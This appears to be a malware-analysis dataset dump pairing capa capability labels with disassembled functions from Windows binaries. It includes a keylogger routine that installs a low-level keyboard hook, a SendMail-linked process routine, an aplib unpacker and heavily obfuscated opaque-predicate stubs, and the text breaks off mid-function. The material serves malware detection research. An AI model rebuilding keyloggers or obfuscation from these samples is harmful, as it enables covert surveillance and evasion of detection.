joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000cb80
Capabilities:
Log keystrokes via application hook

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x20]
call fcn.14000acd0
mov rcx, rax
call fcn.14000aea0
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], al
lea r8d, [rax + 0x1d]
lea rdx, str.Hook_started..._Timer_started
lea rcx, [rsp + 0x20]
call fcn.14000ef20
nop
lea rcx, [rsp + 0x20]
call fcn.14000a160
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000cc42
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cc3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011b8c
lea rcx, [0x1400200e0]
call fcn.14000b2a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
xor r9d, r9d
lea rdx, [0x14000c990]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x140020ca8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000ccbd
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x14000cc90
mov byte [0x1400200f0], 0
cmp dword [0x1400200e8], 0
jne 0x14000ccd9
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [0x1400200e8], eax
jne 0x14000ccf3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [0x1400200e0]
movaps xmmword [rsp + 0x20], xmm0
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x14000cd1c
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
movaps xmmword [0x1400200e0], xmm0
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140011810
add rsp, 0x88
ret
Function at 0x14000d590
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000d5b8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000d5de
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000d5e0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000d639
test ecx, ecx
jle 0x14000d619
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000d639
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000d639
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14000d660
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000d682
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14000d698
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000d6b4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000d6b6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000d6f2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000d78e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000d72d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000d76e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000d78e
cmp rbx, rax
ja 0x14000d740
test rbx, rbx
je 0x14000d78e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14000dbb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000dbdd
xor eax, eax
jmp 0x14000dd3a
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x14000dc08
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x14000dc08
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x14000dd3a
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000dd2d
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000dc4b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000dc76
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000dd32
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000dce5
sub eax, 1
je 0x14000dce5
cmp eax, 2
jne 0x14000dd2d
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000dd32
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14000dd13
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000dd2d
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14000dd32
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140011810
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14000e980
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000ea53
cmp byte [rcx + 0x71], 0
je 0x14000ea53
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000ea4f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000ea14
sub eax, 1
je 0x14000ea18
cmp eax, 2
jne 0x14000ea4f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140011810
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000ea46
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000ea4f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000e9fc
xor al, al
jmp 0x14000e9fc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140011810
add rsp, 0x60
pop rbx
ret
Function at 0x140011300
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov rbx, rcx
xor edi, edi
mov rcx, qword [rcx + 8]
mov edx, 0xea60
mov rcx, qword [rcx + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rcx + 0x68]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rax, qword [rbx + 0x10]
cmp dword [rax], 0x103
jne 0x140011351
mov rcx, qword [rbx + 8]
lea edx, [rdi + 0x64]
mov rcx, qword [rcx + 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rbx + 0x10]
mov ecx, dword [rax]
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.14000f120
nop
mov r9d, 0x1d
lea r8, str._From_SendMail__Return_code:
xor edx, edx
mov rcx, rax
call fcn.14000ee00
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x38], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x28]
call fcn.14000a160
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1400113fc
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400113f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400113f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011b8c
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14001144f
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001144a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001144a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011b8c
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret

Function at 0x140012314
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001235e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001235e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001235e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001235e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001235e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140012360
xor al, al
add rsp, 0x28
ret
Function at 0x402f40
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004055e0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402fad
mov rcx, r8
call fcn.00402e20
test eax, eax
je 0x402fad
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402fad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402fa4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402faf
add rax, 0x28
cmp rax, r9
jne 0x402f90
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400017c0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x78]
lea r8, [0x1400016f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
call fcn.1400029c0
call fcn.14000bc30
call fcn.1400036d0
call fcn.140003650
call fcn.14000bb70
call fcn.1400028b0
xor eax, eax
jmp 0x140001882
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x14000f1dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f226
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f226
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f226
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f226
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f226
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000f228
xor al, al
add rsp, 0x28
ret
Function at 0x14014f420
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffff8f
invalid
lodsb al, byte [rsi]
fdivr qword [rdi - 0xa273278]
pushfq
shl r15b, 0x74
push rbp
pop rsi
stc
test byte [rax], 0x43
loope 0x14014f3e7
sbb esp, dword [rcx]
mov es, word [rbp + 0x65b6c544]
invalid

Function at 0x1416d2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1416d21df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1416d2089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416d206f
add dl, dl
jne 0x1416d2096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416d20f6
xor eax, eax
add dl, dl
jne 0x1416d20a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416d21ad
add dl, dl
jne 0x1416d20b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416d20c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416d20d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416d20dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1416d20ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1416d207e
mov eax, 1
add dl, dl
jne 0x1416d2106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416d2113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416d20fb
sub eax, ebx
mov ebx, 1
jne 0x1416d214c
mov ecx, 1
add dl, dl
jne 0x1416d212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1416d213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416d2123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416d207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1416d2168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1416d2175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416d215d
cmp eax, 0x7d00
jae 0x1416d219b
cmp eax, 0x500
jb 0x1416d2196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416d207e
cmp eax, 0x7f
ja 0x1416d219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416d207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1416d21d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1416d207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14006c208
Capabilities:
Set thread local storage value

Disassembly:
push rax
pushf
mov eax, 0x3d04fa77
pushf
not eax
add eax, 0x81bdb3be
xor eax, 0x957a4fd6
rol eax, 0xab
popf
pushf
not eax
add eax, 0xb857d51d
xor eax, 0xc234d3a6
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x924eaa23
xor eax, 0xf526478b
rol eax, 0xaf
popf
cmp eax, 2
jne 0x14006c258
popf
pop rax
jmp 0x14006c38b
cmp eax, 0
jne 0x14006c267
popf
pop rax
jmp 0x14006c285
cmp eax, 3
jne 0x14006c276
popf
pop rax
jmp 0x14006c3d7
cmp eax, 1
jne 0x14006c285
popf
pop rax
jmp 0x14006c382
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1a600b85e]
pushf
sub r9, 0x65fc7a2e
popf
mov edi, ecx
lea rdx, [0x182fd0fce]
pushf
sub rdx, 0x42f8e72e
popf
mov ecx, 0x542d4012
pushf
not ecx
add ecx, 0x904e2e4d
xor ecx, 0xcb1776c4
rol ecx, 8
popf
pushf
not ecx
add ecx, 0xb7998fc5
xor ecx, 0x80c090cd
rol ecx, 0x6a
popf
lea r8, [0x19442316c]
pushf
sub r8, 0x543df344
popf
call fcn.14001f61c
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x14006c33b
push rax
pushf
mov eax, 0x3d407db4
pushf
not eax
add eax, 0x91042158
xor eax, 0xbc335a3b
rol eax, 0x12
popf
pushf
not eax
add eax, 0x99e9951f
xor eax, 0xb385d5db
rol eax, 0x39
popf
jmp 0x14006c249
push rax
pushf
mov eax, 0x199d3e60
pushf
not eax
add eax, 0xcf69808f
xor eax, 0xffc7aa65
rol eax, 0x41
popf
pushf
not eax
add eax, 0x9ca4f3ba
xor eax, 0xfc923e4a
rol eax, 0x17
popf
pushf
not eax
add eax, 0x96f50be6
xor eax, 0xe1fabc57
rol eax, 0x53
popf
jmp 0x14006c249
call qword [0x1400413c0]
jmp 0x14006c3d7
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
push rax
pushf
mov eax, 0x2a25e63
pushf
not eax
add eax, 0x8c59132a
xor eax, 0xedfe07ad
rol eax, 0x67
popf
pushf
not eax
add eax, 0xbd52cac4
xor eax, 0xa9c7c2b3
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xcd515d39
xor eax, 0x88eedf91
rol eax, 0x9d
popf
jmp 0x14006c249
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14007e8d5
Capabilities:
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0x5315a10f
pushf
not eax
add eax, 0x83776104
xor eax, 0xddb53378
rol eax, 0xd
popf
pushf
not eax
add eax, 0xb308f152
xor eax, 0xadc28d13
rol eax, 0xef
popf
pushf
not eax
add eax, 0xe08565c5
xor eax, 0xf1431f6a
rol eax, 0xf2
popf
cmp eax, 0
jne 0x14007e925
popf
pop rax
jmp 0x14007e925
mov r8, qword [rdx]
jmp fcn.14020a21a
Function at 0x1400adb0c
Capabilities:
Get thread local storage value

Disassembly:
push rax
pushf
mov eax, 0xc6b06a25
pushf
not eax
add eax, 0xd1306720
xor eax, 0xd384a457
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc266b452
xor eax, 0xd503fcea
rol eax, 0x4b
popf
cmp eax, 2
jne 0x1400adb49
popf
pop rax
jmp 0x1400adcb5
cmp eax, 0
jne 0x1400adb58
popf
pop rax
jmp 0x1400adb67
cmp eax, 1
jne 0x1400adb67
popf
pop rax
jmp 0x1400adca9
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x199847599]
pushf
sub r9, 0x59803771
popf
mov ecx, 0x56347868
pushf
not ecx
add ecx, 0xfbcda900
xor ecx, 0xd6b86adb
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xf1cd33f8
xor ecx, 0xf05bf762
rol ecx, 0x8b
popf
pushf
not ecx
add ecx, 0xd52839d9
xor ecx, 0xbb777edb
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0xbfcf0a7b
xor ecx, 0x8d0fc157
rol ecx, 0xfa
popf
lea r8, [0x1b6858b95]
pushf
sub r8, 0x76814d75
popf
lea rdx, [0x1b1081296]
pushf
sub rdx, 0x7103ea06
popf
call fcn.14001f61c
mov ecx, ebx
test rax, rax
je 0x1400adc63
push rax
pushf
mov eax, 0x230a24ad
pushf
not eax
add eax, 0x839c6821
xor eax, 0xda9727fa
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xe10c00e2
xor eax, 0xabda3916
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xa68d8a70
xor eax, 0x96121d80
rol eax, 0xc
popf
pushf
not eax
add eax, 0xa1049972
xor eax, 0xe4eb1aa7
rol eax, 0xdf
popf
jmp 0x1400adb3a
push rax
pushf
mov eax, 0x69b2df26
pushf
not eax
add eax, 0xaaa77a28
xor eax, 0xd029678e
rol eax, 0x91
popf
pushf
not eax
add eax, 0x9624b6bc
xor eax, 0x8fffe4b1
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xbb8c8ad0
xor eax, 0xf741a109
rol eax, 0x51
popf
jmp 0x1400adb3a
add rsp, 0x20
pop rbx
jmp qword [0x1400413c0]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1400b5ecb
Capabilities:
Allocate thread local storage

Disassembly:
push rax
pushf
mov eax, 0x19ae6ff8
pushf
not eax
add eax, 0xc3e98f64
xor eax, 0xfd3437c1
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x96976ff9
xor eax, 0x81163e26
rol eax, 0
popf
pushf
not eax
add eax, 0x8c0dab12
xor eax, 0x8a81ad07
rol eax, 0xb
popf
pushf
not eax
add eax, 0xe25fb38c
xor eax, 0x896531be
rol eax, 0x45
popf
cmp eax, 2
jne 0x1400b5f2e
popf
pop rax
jmp 0x1400b6032
cmp eax, 0
jne 0x1400b5f3d
popf
pop rax
jmp 0x1400b5f4c
cmp eax, 1
jne 0x1400b5f4c
popf
pop rax
jmp 0x1400b6023
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x18f903b31]
pushf
sub r9, 0x4f8bfd19
popf
xor ecx, ecx
lea r8, [0x1812a8686]
pushf
sub r8, 0x41264876
popf
lea rdx, [0x19053b2f8]
pushf
sub rdx, 0x504f8a80
popf
call fcn.14001f61c
test rax, rax
je 0x1400b5fca
push rax
pushf
mov eax, 0x12955c46
pushf
not eax
add eax, 0x9109daed
xor eax, 0xe8b922f1
rol eax, 0xac
popf
pushf
not eax
add eax, 0x8c3f14d9
xor eax, 0xb6799b6e
rol eax, 0xdf
popf
jmp 0x1400b5f1f
push rax
pushf
mov eax, 0x2708aad6
pushf
not eax
add eax, 0x89759465
xor eax, 0xcabb1bc2
rol eax, 0x67
popf
pushf
not eax
add eax, 0xb7935ceb
xor eax, 0x832f0d61
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x892c5fd3
xor eax, 0xe4114298
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xf4a8d51a
xor eax, 0x9201295d
rol eax, 0x33
popf
jmp 0x1400b5f1f
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x1400413c0]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x1400de23c
Capabilities:
Terminate process

Disassembly:
push rax
pushf
mov eax, 0xaa40f62
pushf
not eax
add eax, 0xed572e98
xor eax, 0xeb74704a
rol eax, 0xef
popf
pushf
not eax
add eax, 0x8b30aaf2
xor eax, 0xb56c2941
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x8ac624ce
xor eax, 0xb835d1f6
rol eax, 0x65
popf
pushf
not eax
add eax, 0xb3835de1
xor eax, 0x921d3c5f
rol eax, 0x84
popf
cmp eax, 2
jne 0x1400de29f
popf
pop rax
jmp 0x1400de36d
cmp eax, 0
jne 0x1400de2ae
popf
pop rax
jmp 0x1400de2bd
cmp eax, 1
